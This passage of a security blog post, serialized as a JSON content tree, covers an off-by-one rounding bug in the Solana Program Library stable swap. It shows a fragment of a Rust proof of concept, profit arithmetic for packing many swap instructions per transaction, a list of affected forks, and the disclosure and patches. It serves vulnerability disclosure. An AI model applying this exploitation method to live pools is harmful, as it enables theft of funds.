instructions",{"type":22,"tag":264,"props":5121,"children":5122},{"style":4309},[5123],{"type":27,"value":210},{"type":22,"tag":264,"props":5125,"children":5126},{"style":4401},[5127],{"type":27,"value":5128},"push",{"type":22,"tag":264,"props":5130,"children":5131},{"style":1539},[5132],{"type":27,"value":2660},{"type":22,"tag":264,"props":5134,"children":5135},{"style":1549},[5136],{"type":27,"value":5137},"swap_instruction",{"type":22,"tag":264,"props":5139,"children":5140},{"style":1539},[5141],{"type":27,"value":5142},");\n",{"type":22,"tag":264,"props":5144,"children":5146},{"class":1534,"line":5145},24,[5147],{"type":22,"tag":264,"props":5148,"children":5149},{"emptyLinePlaceholder":17},[5150],{"type":27,"value":4986},{"type":22,"tag":264,"props":5152,"children":5154},{"class":1534,"line":5153},25,[5155,5160,5164,5169,5173,5177,5182,5186,5190,5195,5199,5203,5207],{"type":22,"tag":264,"props":5156,"children":5157},{"style":1549},[5158],{"type":27,"value":5159},"    env",{"type":22,"tag":264,"props":5161,"children":5162},{"style":4309},[5163],{"type":27,"value":210},{"type":22,"tag":264,"props":5165,"children":5166},{"style":4401},[5167],{"type":27,"value":5168},"execute_as_transaction",{"type":22,"tag":264,"props":5170,"children":5171},{"style":1539},[5172],{"type":27,"value":2660},{"type":22,"tag":264,"props":5174,"children":5175},{"style":4309},[5176],{"type":27,"value":4413},{"type":22,"tag":264,"props":5178,"children":5179},{"style":1549},[5180],{"type":27,"value":5181},"instructions",{"type":22,"tag":264,"props":5183,"children":5184},{"style":1539},[5185],{"type":27,"value":4380},{"type":22,"tag":264,"props":5187,"children":5188},{"style":4309},[5189],{"type":27,"value":4413},{"type":22,"tag":264,"props":5191,"children":5192},{"style":4401},[5193],{"type":27,"value":5194},"vec!",{"type":22,"tag":264,"props":5196,"children":5197},{"style":1539},[5198],{"type":27,"value":5045},{"type":22,"tag":264,"props":5200,"children":5201},{"style":4309},[5202],{"type":27,"value":4413},{"type":22,"tag":264,"props":5204,"children":5205},{"style":1549},[5206],{"type":27,"value":4840},{"type":22,"tag":264,"props":5208,"children":5209},{"style":1539},[5210],{"type":27,"value":5064},{"type":22,"tag":264,"props":5212,"children":5214},{"class":1534,"line":5213},26,[5215],{"type":22,"tag":264,"props":5216,"children":5217},{"style":1539},[5218],{"type":27,"value":1692},{"type":22,"tag":23,"props":5220,"children":5221},{},[5222],{"type":27,"value":5223},"It works!",{"type":22,"tag":4226,"props":5225,"children":5226},{},[5227],{"type":22,"tag":23,"props":5228,"children":5229},{},[5230],{"type":27,"value":5231},"holy shit\nyea, this is big",{"type":22,"tag":23,"props":5233,"children":5234},{},[5235],{"type":22,"tag":215,"props":5236,"children":5238},{"alt":7,"src":5237},"/posts/spl-swap/poc.png",[],{"type":22,"tag":169,"props":5240,"children":5242},{"id":5241},"exploitability",[5243],{"type":27,"value":5244},"Exploitability",{"type":22,"tag":23,"props":5246,"children":5247},{},[5248],{"type":27,"value":5249},"Off-by-one bugs are much easier to exploit on Solana compared to other chains, enabled by the relatively low fees on Solana.",{"type":22,"tag":23,"props":5251,"children":5252},{},[5253],{"type":27,"value":5254},"A single swap on Ethereum can cost dozens of dollars, but on Solana packing hundreds of swap instructions into a single transaction costs the same flat rate of 5000 lamports (at least prior to the 1.9 per transaction size compute limit update).",{"type":22,"tag":23,"props":5256,"children":5257},{},[5258],{"type":27,"value":5259},"This transaction cost discrepancy can trip up developers who transitioned from Ethereum to Solana. For example, the developers who wrote tests for the Solana Program Library implementation of stable swap assumed the impact of an off by one error would be negligible.",{"type":22,"tag":23,"props":5261,"children":5262},{},[5263],{"type":22,"tag":215,"props":5264,"children":5266},{"alt":7,"src":5265},"/posts/spl-swap/pr.png",[],{"type":22,"tag":23,"props":5268,"children":5269},{},[5270,5272,5277],{"type":27,"value":5271},"As we mentioned previously, due to the rounding error, each swap allowed an attacker to steal a single token. It's important to keep in mind that this represents a single token ",{"type":22,"tag":1699,"props":5273,"children":5274},{},[5275],{"type":27,"value":5276},"per instruction",{"type":27,"value":5278},". Transactions on Solana can also contain multiple instructions.",{"type":22,"tag":23,"props":5280,"children":5281},{},[5282],{"type":27,"value":5283},"With an onchain program, we are able to fit over 50 swap instructions per transaction. Each transaction can be run around 3 times before exceeding the per-instruction compute limit cap. Thus, we can pack around 150 invocations per transaction.",{"type":22,"tag":23,"props":5285,"children":5286},{},[5287,5289,5294],{"type":27,"value":5288},"Some quick napkin math confirms that this ",{"type":22,"tag":1699,"props":5290,"children":5291},{},[5292],{"type":27,"value":5293},"is",{"type":27,"value":5295}," indeed profitable. At a price of $41440 per Bitcoin, we are able to steal around 6 cents per transaction.",{"type":22,"tag":23,"props":5297,"children":5298},{},[5299],{"type":22,"tag":257,"props":5300,"children":5302},{"className":5301},[260,261],[5303],{"type":22,"tag":264,"props":5304,"children":5306},{"className":5305},[267],[5307],{"type":22,"tag":264,"props":5308,"children":5310},{"className":5309,"ariaHidden":273},[272],[5311,5402,5458,5495],{"type":22,"tag":264,"props":5312,"children":5314},{"className":5313},[278],[5315,5320,5325,5379,5389,5393,5398],{"type":22,"tag":264,"props":5316,"children":5319},{"className":5317,"style":5318},[283],"height:0.8141em;",[],{"type":22,"tag":264,"props":5321,"children":5323},{"className":5322},[289],[5324],{"type":27,"value":602},{"type":22,"tag":264,"props":5326,"children":5328},{"className":5327},[289],[5329,5335],{"type":22,"tag":264,"props":5330,"children":5332},{"className":5331},[289],[5333],{"type":27,"value":5334},"0",{"type":22,"tag":264,"props":5336,"children":5338},{"className":5337},[2147],[5339],{"type":22,"tag":264,"props":5340,"children":5342},{"className":5341},[305],[5343],{"type":22,"tag":264,"props":5344,"children":5346},{"className":5345},[311],[5347],{"type":22,"tag":264,"props":5348,"children":5350},{"className":5349,"style":5318},[316],[5351],{"type":22,"tag":264,"props":5352,"children":5354},{"style":5353},"top:-3.063em;margin-right:0.05em;",[5355,5359],{"type":22,"tag":264,"props":5356,"children":5358},{"className":5357,"style":2169},[326],[],{"type":22,"tag":264,"props":5360,"children":5362},{"className":5361},[332,333,334,335],[5363],{"type":22,"tag":264,"props":5364,"children":5366},{"className":5365},[289,335],[5367,5373],{"type":22,"tag":264,"props":5368,"children":5370},{"className":5369},[289,335],[5371],{"type":27,"value":5372},"−",{"type":22,"tag":264,"props":5374,"children":5376},{"className":5375},[289,335],[5377],{"type":27,"value":5378},"8",{"type":22,"tag":264,"props":5380,"children":5382},{"className":5381},[289,27],[5383],{"type":22,"tag":264,"props":5384,"children":5386},{"className":5385},[289],[5387],{"type":27,"value":5388}," BTC",{"type":22,"tag":264,"props":5390,"children":5392},{"className":5391,"style":665},[420],[],{"type":22,"tag":264,"props":5394,"children":5396},{"className":5395},[670],[5397],{"type":27,"value":867},{"type":22,"tag":264,"props":5399,"children":5401},{"className":5400,"style":665},[420],[],{"type":22,"tag":264,"props":5403,"children":5405},{"className":5404},[278],[5406,5411,5417,5424,5429,5435,5445,5449,5454],{"type":22,"tag":264,"props":5407,"children":5410},{"className":5408,"style":5409},[283],"height:1em;vertical-align:-0.25em;",[],{"type":22,"tag":264,"props":5412,"children":5414},{"className":5413},[289],[5415],{"type":27,"value":5416},"$41",{"type":22,"tag":264,"props":5418,"children":5421},{"className":5419},[5420],"mpunct",[5422],{"type":27,"value":5423},",",{"type":22,"tag":264,"props":5425,"children":5428},{"className":5426,"style":5427},[420],"margin-right:0.1667em;",[],{"type":22,"tag":264,"props":5430,"children":5432},{"className":5431},[289],[5433],{"type":27,"value":5434},"400/",{"type":22,"tag":264,"props":5436,"children":5438},{"className":5437},[289,27],[5439],{"type":22,"tag":264,"props":5440,"children":5442},{"className":5441},[289],[5443],{"type":27,"value":5444},"BTC",{"type":22,"tag":264,"props":5446,"children":5448},{"className":5447,"style":665},[420],[],{"type":22,"tag":264,"props":5450,"children":5452},{"className":5451},[670],[5453],{"type":27,"value":867},{"type":22,"tag":264,"props":5455,"children":5457},{"className":5456,"style":665},[420],[],{"type":22,"tag":264,"props":5459,"children":5461},{"className":5460},[278],[5462,5467,5472,5482,5486,5491],{"type":22,"tag":264,"props":5463,"children":5466},{"className":5464,"style":5465},[283],"height:0.8389em;vertical-align:-0.1944em;",[],{"type":22,"tag":264,"props":5468,"children":5470},{"className":5469},[289],[5471],{"type":27,"value":448},{"type":22,"tag":264,"props":5473,"children":5475},{"className":5474},[289,27],[5476],{"type":22,"tag":264,"props":5477,"children":5479},{"className":5478},[289],[5480],{"type":27,"value":5481}," swaps",{"type":22,"tag":264,"props":5483,"children":5485},{"className":5484,"style":421},[420],[],{"type":22,"tag":264,"props":5487,"children":5489},{"className":5488},[426],[5490],{"type":27,"value":429},{"type":22,"tag":264,"props":5492,"children":5494},{"className":5493,"style":421},[420],[],{"type":22,"tag":264,"props":5496,"children":5498},{"className":5497},[278],[5499,5503],{"type":22,"tag":264,"props":5500,"children":5502},{"className":5501,"style":757},[283],[],{"type":22,"tag":264,"props":5504,"children":5506},{"className":5505},[289],[5507],{"type":27,"value":5508},"$0.0621",{"type":22,"tag":23,"props":5510,"children":5511},{},[5512],{"type":27,"value":5513},"At 200 transactions per second, we can extract just over a million dollars per day.",{"type":22,"tag":23,"props":5515,"children":5516},{},[5517],{"type":27,"value":5518},"We're well on our way to becoming a millionaire!",{"type":22,"tag":169,"props":5520,"children":5521},{"id":1974},[5522],{"type":27,"value":1977},{"type":22,"tag":23,"props":5524,"children":5525},{},[5526],{"type":27,"value":5527},"Now that we had a proof-of-concept going, it was time to contact the relevant teams.",{"type":22,"tag":23,"props":5529,"children":5530},{},[5531],{"type":27,"value":5532},"By grepping through Solana logs for the swap instruction log, we were able to identify many potential spl-token-swap forks.",{"type":22,"tag":618,"props":5534,"children":5538},{"code":5535,"language":5536,"meta":7,"className":5537,"style":7},"solana logs -um | grep 'Instruction: Swap' -B1\n","bash","language-bash shiki shiki-themes slack-dark",[5539],{"type":22,"tag":257,"props":5540,"children":5541},{"__ignoreMap":7},[5542],{"type":22,"tag":264,"props":5543,"children":5544},{"class":1534,"line":1535},[5545,5549,5554,5559,5564,5569,5574],{"type":22,"tag":264,"props":5546,"children":5547},{"style":4401},[5548],{"type":27,"value":16},{"type":22,"tag":264,"props":5550,"children":5551},{"style":1597},[5552],{"type":27,"value":5553}," logs",{"type":22,"tag":264,"props":5555,"children":5556},{"style":1597},[5557],{"type":27,"value":5558}," -um",{"type":22,"tag":264,"props":5560,"children":5561},{"style":4309},[5562],{"type":27,"value":5563}," |",{"type":22,"tag":264,"props":5565,"children":5566},{"style":4401},[5567],{"type":27,"value":5568}," grep",{"type":22,"tag":264,"props":5570,"children":5571},{"style":1597},[5572],{"type":27,"value":5573}," 'Instruction: Swap'",{"type":22,"tag":264,"props":5575,"children":5576},{"style":1597},[5577],{"type":27,"value":5578}," -B1\n",{"type":22,"tag":23,"props":5580,"children":5581},{},[5582],{"type":27,"value":5583},"With some Google dorking, we were able to identify many of these programs.",{"type":22,"tag":618,"props":5585,"children":5587},{"code":5586},"1SoLTvbiicqXZ3MJmnTL2WYXKLYpuxwHpa4yYrVQaMZ  - \"1 SOL\"\n9W959DqEETiGZocYWCQPaJ6sBmUzgfxXfqGeTEdp3aQP - Orca Swap Program v2\nSCHAtsf8mbjyjiv4LkhLKutTf6JnZAbdJKFkXQNMFHZ  - \"Sencha Swap\"\nSSwapUtytfBdBn1b9NUGG6foMVPtcWgpRU32HToDUZr  - \"Saros Swap\"\nSSwpkEEcbUqx4vtoEByFjSkhKdCT862DNVb52nZg1UZ  - Saber Stable Swap Program\nSSwpMgqNDsyV7mAgN9ady4bDVu5ySjmmXejXvy2vLt1  - Step Finance Swap Program\nSwaPpA9LAaLfeLi3a68M4DjnLqgtticKg6CnyNwgAC8  - Swap Program\n",[5588],{"type":22,"tag":257,"props":5589,"children":5590},{"__ignoreMap":7},[5591],{"type":27,"value":5586},{"type":22,"tag":23,"props":5593,"children":5594},{},[5595],{"type":27,"value":5596},"Now it was time to contact these teams.",{"type":22,"tag":23,"props":5598,"children":5599},{},[5600],{"type":27,"value":5601},"Of these protocols, Saber was the only one which had BTC stable swaps, which would make exploitation immediately profitable. Luckily, they were also the most responsive, triaging and patching the vulnerability in just over one day.",{"type":22,"tag":23,"props":5603,"children":5604},{},[5605],{"type":27,"value":5606},"After some discussion, they decided to port a patch from Curve.fi, subtracting one from the output amount.",{"type":22,"tag":618,"props":5608,"children":5610},{"code":5609,"language":4273,"meta":7,"className":4274,"style":7},"-        let dy = swap_destination_amount.checked_sub(y)?;\n+        // https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/base/SwapTemplateBase.vy#L466\n+        let dy = swap_destination_amount.checked_sub(y)?.checked_sub(1)?;\n",[5611],{"type":22,"tag":257,"props":5612,"children":5613},{"__ignoreMap":7},[5614,5668,5680],{"type":22,"tag":264,"props":5615,"children":5616},{"class":1534,"line":1535},[5617,5622,5626,5631,5635,5640,5644,5648,5652,5656,5660,5664],{"type":22,"tag":264,"props":5618,"children":5619},{"style":4309},[5620],{"type":27,"value":5621},"-",{"type":22,"tag":264,"props":5623,"children":5624},{"style":4293},[5625],{"type":27,"value":4365},{"type":22,"tag":264,"props":5627,"children":5628},{"style":1549},[5629],{"type":27,"value":5630}," dy",{"type":22,"tag":264,"props":5632,"children":5633},{"style":4309},[5634],{"type":27,"value":4312},{"type":22,"tag":264,"props":5636,"children":5637},{"style":1549},[5638],{"type":27,"value":5639}," swap_destination_amount",{"type":22,"tag":264,"props":5641,"children":5642},{"style":4309},[5643],{"type":27,"value":210},{"type":22,"tag":264,"props":5645,"children":5646},{"style":4401},[5647],{"type":27,"value":4538},{"type":22,"tag":264,"props":5649,"children":5650},{"style":1539},[5651],{"type":27,"value":2660},{"type":22,"tag":264,"props":5653,"children":5654},{"style":1549},[5655],{"type":27,"value":4418},{"type":22,"tag":264,"props":5657,"children":5658},{"style":1539},[5659],{"type":27,"value":2806},{"type":22,"tag":264,"props":5661,"children":5662},{"style":4309},[5663],{"type":27,"value":4458},{"type":22,"tag":264,"props":5665,"children":5666},{"style":1539},[5667],{"type":27,"value":4322},{"type":22,"tag":264,"props":5669,"children":5670},{"class":1534,"line":1545},[5671,5675],{"type":22,"tag":264,"props":5672,"children":5673},{"style":4309},[5674],{"type":27,"value":673},{"type":22,"tag":264,"props":5676,"children":5677},{"style":4284},[5678],{"type":27,"value":5679},"        // https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/base/SwapTemplateBase.vy#L466\n",{"type":22,"tag":264,"props":5681,"children":5682},{"class":1534,"line":1560},[5683,5687,5691,5695,5699,5703,5707,5711,5715,5719,5723,5727,5731,5735,5739,5743,5747],{"type":22,"tag":264,"props":5684,"children":5685},{"style":4309},[5686],{"type":27,"value":673},{"type":22,"tag":264,"props":5688,"children":5689},{"style":4293},[5690],{"type":27,"value":4365},{"type":22,"tag":264,"props":5692,"children":5693},{"style":1549},[5694],{"type":27,"value":5630},{"type":22,"tag":264,"props":5696,"children":5697},{"style":4309},[5698],{"type":27,"value":4312},{"type":22,"tag":264,"props":5700,"children":5701},{"style":1549},[5702],{"type":27,"value":5639},{"type":22,"tag":264,"props":5704,"children":5705},{"style":4309},[5706],{"type":27,"value":210},{"type":22,"tag":264,"props":5708,"children":5709},{"style":4401},[5710],{"type":27,"value":4538},{"type":22,"tag":264,"props":5712,"children":5713},{"style":1539},[5714],{"type":27,"value":2660},{"type":22,"tag":264,"props":5716,"children":5717},{"style":1549},[5718],{"type":27,"value":4418},{"type":22,"tag":264,"props":5720,"children":5721},{"style":1539},[5722],{"type":27,"value":2806},{"type":22,"tag":264,"props":5724,"children":5725},{"style":4309},[5726],{"type":27,"value":4435},{"type":22,"tag":264,"props":5728,"children":5729},{"style":4401},[5730],{"type":27,"value":4538},{"type":22,"tag":264,"props":5732,"children":5733},{"style":1539},[5734],{"type":27,"value":2660},{"type":22,"tag":264,"props":5736,"children":5737},{"style":4344},[5738],{"type":27,"value":602},{"type":22,"tag":264,"props":5740,"children":5741},{"style":1539},[5742],{"type":27,"value":2806},{"type":22,"tag":264,"props":5744,"children":5745},{"style":4309},[5746],{"type":27,"value":4458},{"type":22,"tag":264,"props":5748,"children":5749},{"style":1539},[5750],{"type":27,"value":4322},{"type":22,"tag":23,"props":5752,"children":5753},{},[5754,5756,5763],{"type":27,"value":5755},"For reference, here is the ",{"type":22,"tag":69,"props":5757,"children":5760},{"href":5758,"rel":5759},"https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/base/SwapTemplateBase.vy#L466",[73],[5761],{"type":27,"value":5762},"Curve.fi implementation",{"type":27,"value":210},{"type":22,"tag":618,"props":5765,"children":5769},{"code":5766,"language":5767,"meta":7,"className":5768,"style":7},"    dy: uint256 = xp[j] - y - 1  # -1 just in case there were some rounding errors\n    dy_fee: uint256 = dy * self.fee / FEE_DENOMINATOR\n","solidity","language-solidity shiki shiki-themes slack-dark",[5770],{"type":22,"tag":257,"props":5771,"children":5772},{"__ignoreMap":7},[5773,5836],{"type":22,"tag":264,"props":5774,"children":5775},{"class":1534,"line":1535},[5776,5781,5786,5791,5795,5800,5804,5809,5813,5818,5823,5827,5831],{"type":22,"tag":264,"props":5777,"children":5778},{"style":1539},[5779],{"type":27,"value":5780},"    dy",{"type":22,"tag":264,"props":5782,"children":5783},{"style":4309},[5784],{"type":27,"value":5785},":",{"type":22,"tag":264,"props":5787,"children":5788},{"style":4722},[5789],{"type":27,"value":5790}," uint256",{"type":22,"tag":264,"props":5792,"children":5793},{"style":4309},[5794],{"type":27,"value":4312},{"type":22,"tag":264,"props":5796,"children":5797},{"style":1539},[5798],{"type":27,"value":5799}," xp[j] ",{"type":22,"tag":264,"props":5801,"children":5802},{"style":4309},[5803],{"type":27,"value":5621},{"type":22,"tag":264,"props":5805,"children":5806},{"style":1539},[5807],{"type":27,"value":5808}," y ",{"type":22,"tag":264,"props":5810,"children":5811},{"style":4309},[5812],{"type":27,"value":5621},{"type":22,"tag":264,"props":5814,"children":5815},{"style":4344},[5816],{"type":27,"value":5817}," 1",{"type":22,"tag":264,"props":5819,"children":5820},{"style":1539},[5821],{"type":27,"value":5822},"  # ",{"type":22,"tag":264,"props":5824,"children":5825},{"style":4309},[5826],{"type":27,"value":5621},{"type":22,"tag":264,"props":5828,"children":5829},{"style":4344},[5830],{"type":27,"value":602},{"type":22,"tag":264,"props":5832,"children":5833},{"style":1539},[5834],{"type":27,"value":5835}," just in case there were some rounding errors\n",{"type":22,"tag":264,"props":5837,"children":5838},{"class":1534,"line":1545},[5839,5844,5848,5852,5856,5861,5866,5871,5875],{"type":22,"tag":264,"props":5840,"children":5841},{"style":1539},[5842],{"type":27,"value":5843},"    dy_fee",{"type":22,"tag":264,"props":5845,"children":5846},{"style":4309},[5847],{"type":27,"value":5785},{"type":22,"tag":264,"props":5849,"children":5850},{"style":4722},[5851],{"type":27,"value":5790},{"type":22,"tag":264,"props":5853,"children":5854},{"style":4309},[5855],{"type":27,"value":4312},{"type":22,"tag":264,"props":5857,"children":5858},{"style":1539},[5859],{"type":27,"value":5860}," dy ",{"type":22,"tag":264,"props":5862,"children":5863},{"style":4309},[5864],{"type":27,"value":5865},"*",{"type":22,"tag":264,"props":5867,"children":5868},{"style":1539},[5869],{"type":27,"value":5870}," self.fee ",{"type":22,"tag":264,"props":5872,"children":5873},{"style":4309},[5874],{"type":27,"value":2891},{"type":22,"tag":264,"props":5876,"children":5877},{"style":1539},[5878],{"type":27,"value":5879}," FEE_DENOMINATOR\n",{"type":22,"tag":23,"props":5881,"children":5882},{},[5883,5885,5892],{"type":27,"value":5884},"We originally thought this was an additional patch that didn't get ported over to Solana. However, it turns out this code was actually included in the ",{"type":22,"tag":69,"props":5886,"children":5889},{"href":5887,"rel":5888},"https://github.com/curvefi/curve-contract/commit/0fd801df7488d89f0e2fc81e760942d7858b01d6",[73],[5890],{"type":27,"value":5891},"original commit",{"type":27,"value":5893},", not as an additional security patch.",{"type":22,"tag":618,"props":5895,"children":5897},{"code":5896},"commit 0fd801df7488d89f0e2fc81e760942d7858b01d6\nAuthor: Ben Hauser \u003Cben@hauser.id>\nDate:   Mon Aug 31 02:35:30 2020 +0300\n\n    feat: add base pool without lending\n",[5898],{"type":22,"tag":257,"props":5899,"children":5900},{"__ignoreMap":7},[5901],{"type":27,"value":5896},{"type":22,"tag":23,"props":5903,"children":5904},{},[5905,5907,5914],{"type":27,"value":5906},"The commit adding stable swaps to SPL was ",{"type":22,"tag":69,"props":5908,"children":5911},{"href":5909,"rel":5910},"https://github.com/solana-labs/solana-program-library/commit/d62ddd2b94d5d2daaa97460b165d288610a87623",[73],[5912],{"type":27,"value":5913},"made a few months later",{"type":27,"value":5915},", meaning there was some disconnect when porting the code. Either the rounding was thought to be unnecesary, or it was simply forgotten.",{"type":22,"tag":618,"props":5917,"children":5919},{"code":5918},"commit d62ddd2b94d5d2daaa97460b165d288610a87623\nAuthor: Yuriy Savchenko \u003Cyuriy.savchenko@gmail.com>\nDate:   Tue Nov 17 15:13:18 2020 +0200\n\n    Added stable curve invariant to the token swap smart contract (#838)\n\n    * Added stable curve invariant to the token swap smart contract\n\n    * Fixed formatting\n\n    * Added missing stable curve constraints\n\n    * Symbol renames to make math clearer\n\n    * Small refactoring according to PR comments, fixes for JS tests\n",[5920],{"type":22,"tag":257,"props":5921,"children":5922},{"__ignoreMap":7},[5923],{"type":27,"value":5918},{"type":22,"tag":23,"props":5925,"children":5926},{},[5927,5929,5936],{"type":27,"value":5928},"After contacting some other swap projects which were unaffected, we decided to notify the Solana team in order to get a patch upstreamed to ",{"type":22,"tag":69,"props":5930,"children":5933},{"href":5931,"rel":5932},"https://github.com/solana-labs/solana-program-library",[73],[5934],{"type":27,"value":5935},"the Solana Program Library",{"type":27,"value":210},{"type":22,"tag":23,"props":5938,"children":5939},{},[5940],{"type":27,"value":5941},"While few projects deploy the swap program from the Solana Program Library, the SPL program is meant as a reference implementation, and many exchanges fork their own code off of it.",{"type":22,"tag":23,"props":5943,"children":5944},{},[5945,5952],{"type":22,"tag":69,"props":5946,"children":5949},{"href":5947,"rel":5948},"https://github.com/joncinque",[73],[5950],{"type":27,"value":5951},"@joncinque",{"type":27,"value":5953}," helped triage this patch. We also asked him for his thoughts on a more complete solution.",{"type":22,"tag":4226,"props":5955,"children":5956},{},[5957],{"type":22,"tag":23,"props":5958,"children":5959},{},[5960],{"type":27,"value":5961},"Honestly, the idea of just subtracting 1 from the output will cover almost all situations correctly, so it's a good quick solution. I'll take a look to see if we can solve this for all situations through a correct application of checked_ceil_div, as with the constant product curve.",{"type":22,"tag":23,"props":5963,"children":5964},{},[5965,5967,5974,5976,5982],{"type":27,"value":5966},"After some thought, he helped ",{"type":22,"tag":69,"props":5968,"children":5971},{"href":5969,"rel":5970},"https://github.com/solana-labs/solana-program-library/pull/2942",[73],[5972],{"type":27,"value":5973},"introduce a PR",{"type":27,"value":5975}," which ceilings the computation in ",{"type":22,"tag":257,"props":5977,"children":5979},{"className":5978},[],[5980],{"type":27,"value":5981},"compute_new_destination_amount",{"type":27,"value":5983}," to correctly round within the stable curve math library.",{"type":22,"tag":618,"props":5985,"children":5987},{"code":5986,"language":4273,"meta":7,"className":4274,"style":7},"     // Solve for y by approximating: y**2 + b*y = c\n     let mut y_prev: U256;\n     let mut y = d_val;\n     for _ in 0..ITERATIONS {\n-        y_prev = y;\n-        y = (checked_u8_power(&y, 2)?.checked_add(c)?)\n-            .checked_div(checked_u8_mul(&y, 2)?.checked_add(b)?.checked_sub(d_val)?)?;\n-        if y == y_prev {\n+        let (y_new, _) = (checked_u8_power(&y, 2)?.checked_add(c)?)\n+            .checked_ceil_div(checked_u8_mul(&y, 2)?.checked_add(b)?.checked_sub(d_val)?)?;\n+        if y_new == y {\n             break;\n+        } else {\n+            y = y_new;\n         }\n",[5988],{"type":22,"tag":257,"props":5989,"children":5990},{"__ignoreMap":7},[5991,5999,6029,6056,6084,6108,6184,6288,6315,6410,6513,6540,6552,6571,6594],{"type":22,"tag":264,"props":5992,"children":5993},{"class":1534,"line":1535},[5994],{"type":22,"tag":264,"props":5995,"children":5996},{"style":4284},[5997],{"type":27,"value":5998},"     // Solve for y by approximating: y**2 + b*y = c\n",{"type":22,"tag":264,"props":6000,"children":6001},{"class":1534,"line":1545},[6002,6007,6011,6016,6020,6025],{"type":22,"tag":264,"props":6003,"children":6004},{"style":4293},[6005],{"type":27,"value":6006},"     let",{"type":22,"tag":264,"props":6008,"children":6009},{"style":4293},[6010],{"type":27,"value":4301},{"type":22,"tag":264,"props":6012,"children":6013},{"style":1549},[6014],{"type":27,"value":6015}," y_prev",{"type":22,"tag":264,"props":6017,"children":6018},{"style":4309},[6019],{"type":27,"value":5785},{"type":22,"tag":264,"props":6021,"children":6022},{"style":4722},[6023],{"type":27,"value":6024}," U256",{"type":22,"tag":264,"props":6026,"children":6027},{"style":1539},[6028],{"type":27,"value":4322},{"type":22,"tag":264,"props":6030,"children":6031},{"class":1534,"line":1560},[6032,6036,6040,6044,6048,6052],{"type":22,"tag":264,"props":6033,"children":6034},{"style":4293},[6035],{"type":27,"value":6006},{"type":22,"tag":264,"props":6037,"children":6038},{"style":4293},[6039],{"type":27,"value":4301},{"type":22,"tag":264,"props":6041,"children":6042},{"style":1549},[6043],{"type":27,"value":4306},{"type":22,"tag":264,"props":6045,"children":6046},{"style":4309},[6047],{"type":27,"value":4312},{"type":22,"tag":264,"props":6049,"children":6050},{"style":1549},[6051],{"type":27,"value":4317},{"type":22,"tag":264,"props":6053,"children":6054},{"style":1539},[6055],{"type":27,"value":4322},{"type":22,"tag":264,"props":6057,"children":6058},{"class":1534,"line":1569},[6059,6064,6068,6072,6076,6080],{"type":22,"tag":264,"props":6060,"children":6061},{"style":4328},[6062],{"type":27,"value":6063},"     for",{"type":22,"tag":264,"props":6065,"children":6066},{"style":1549},[6067],{"type":27,"value":4336},{"type":22,"tag":264,"props":6069,"children":6070},{"style":4293},[6071],{"type":27,"value":4341},{"type":22,"tag":264,"props":6073,"children":6074},{"style":4344},[6075],{"type":27,"value":4347},{"type":22,"tag":264,"props":6077,"children":6078},{"style":4309},[6079],{"type":27,"value":4352},{"type":22,"tag":264,"props":6081,"children":6082},{"style":1539},[6083],{"type":27,"value":4357},{"type":22,"tag":264,"props":6085,"children":6086},{"class":1534,"line":1583},[6087,6091,6096,6100,6104],{"type":22,"tag":264,"props":6088,"children":6089},{"style":4309},[6090],{"type":27,"value":5621},{"type":22,"tag":264,"props":6092,"children":6093},{"style":1549},[6094],{"type":27,"value":6095},"        y_prev",{"type":22,"tag":264,"props":6097,"children":6098},{"style":4309},[6099],{"type":27,"value":4312},{"type":22,"tag":264,"props":6101,"children":6102},{"style":1549},[6103],{"type":27,"value":4306},{"type":22,"tag":264,"props":6105,"children":6106},{"style":1539},[6107],{"type":27,"value":4322},{"type":22,"tag":264,"props":6109,"children":6110},{"class":1534,"line":1603},[6111,6115,6120,6124,6128,6132,6136,6140,6144,6148,6152,6156,6160,6164,6168,6172,6176,6180],{"type":22,"tag":264,"props":6112,"children":6113},{"style":4309},[6114],{"type":27,"value":5621},{"type":22,"tag":264,"props":6116,"children":6117},{"style":1549},[6118],{"type":27,"value":6119},"        y",{"type":22,"tag":264,"props":6121,"children":6122},{"style":4309},[6123],{"type":27,"value":4312},{"type":22,"tag":264,"props":6125,"children":6126},{"style":1539},[6127],{"type":27,"value":4370},{"type":22,"tag":264,"props":6129,"children":6130},{"style":4401},[6131],{"type":27,"value":4404},{"type":22,"tag":264,"props":6133,"children":6134},{"style":1539},[6135],{"type":27,"value":2660},{"type":22,"tag":264,"props":6137,"children":6138},{"style":4309},[6139],{"type":27,"value":4413},{"type":22,"tag":264,"props":6141,"children":6142},{"style":1549},[6143],{"type":27,"value":4418},{"type":22,"tag":264,"props":6145,"children":6146},{"style":1539},[6147],{"type":27,"value":4380},{"type":22,"tag":264,"props":6149,"children":6150},{"style":4344},[6151],{"type":27,"value":3568},{"type":22,"tag":264,"props":6153,"children":6154},{"style":1539},[6155],{"type":27,"value":2806},{"type":22,"tag":264,"props":6157,"children":6158},{"style":4309},[6159],{"type":27,"value":4435},{"type":22,"tag":264,"props":6161,"children":6162},{"style":4401},[6163],{"type":27,"value":4440},{"type":22,"tag":264,"props":6165,"children":6166},{"style":1539},[6167],{"type":27,"value":2660},{"type":22,"tag":264,"props":6169,"children":6170},{"style":1549},[6171],{"type":27,"value":4449},{"type":22,"tag":264,"props":6173,"children":6174},{"style":1539},[6175],{"type":27,"value":2806},{"type":22,"tag":264,"props":6177,"children":6178},{"style":4309},[6179],{"type":27,"value":4458},{"type":22,"tag":264,"props":6181,"children":6182},{"style":1539},[6183],{"type":27,"value":4463},{"type":22,"tag":264,"props":6185,"children":6186},{"class":1534,"line":1612},[6187,6191,6195,6200,6204,6208,6212,6216,6220,6224,6228,6232,6236,6240,6244,6248,6252,6256,6260,6264,6268,6272,6276,6280,6284],{"type":22,"tag":264,"props":6188,"children":6189},{"style":4309},[6190],{"type":27,"value":5621},{"type":22,"tag":264,"props":6192,"children":6193},{"style":4309},[6194],{"type":27,"value":4471},{"type":22,"tag":264,"props":6196,"children":6197},{"style":4401},[6198],{"type":27,"value":6199},"checked_div",{"type":22,"tag":264,"props":6201,"children":6202},{"style":1539},[6203],{"type":27,"value":2660},{"type":22,"tag":264,"props":6205,"children":6206},{"style":4401},[6207],{"type":27,"value":4485},{"type":22,"tag":264,"props":6209,"children":6210},{"style":1539},[6211],{"type":27,"value":2660},{"type":22,"tag":264,"props":6213,"children":6214},{"style":4309},[6215],{"type":27,"value":4413},{"t